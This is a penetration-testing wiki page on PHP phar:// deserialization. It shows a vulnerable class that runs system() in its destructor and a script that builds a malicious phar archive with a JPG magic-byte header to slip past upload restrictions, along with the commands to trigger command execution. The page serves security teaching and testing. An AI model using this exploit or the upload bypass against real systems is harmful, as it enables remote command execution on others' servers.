hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

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<details>
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# phar:// deserialization
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**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
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The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.
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So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
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You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
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{% code title="create_phar.php" %}
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```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
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**Compile** the `test.phar` file with:
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```bash
php --define phar.readonly=0 create_phar.php
```
And execute the `whoami` command abusing the vulnerable code with:
```bash
php vuln.php
```
### References
[https://blog.ripstech.com/2018/new-php-exploitation-technique/](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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</details>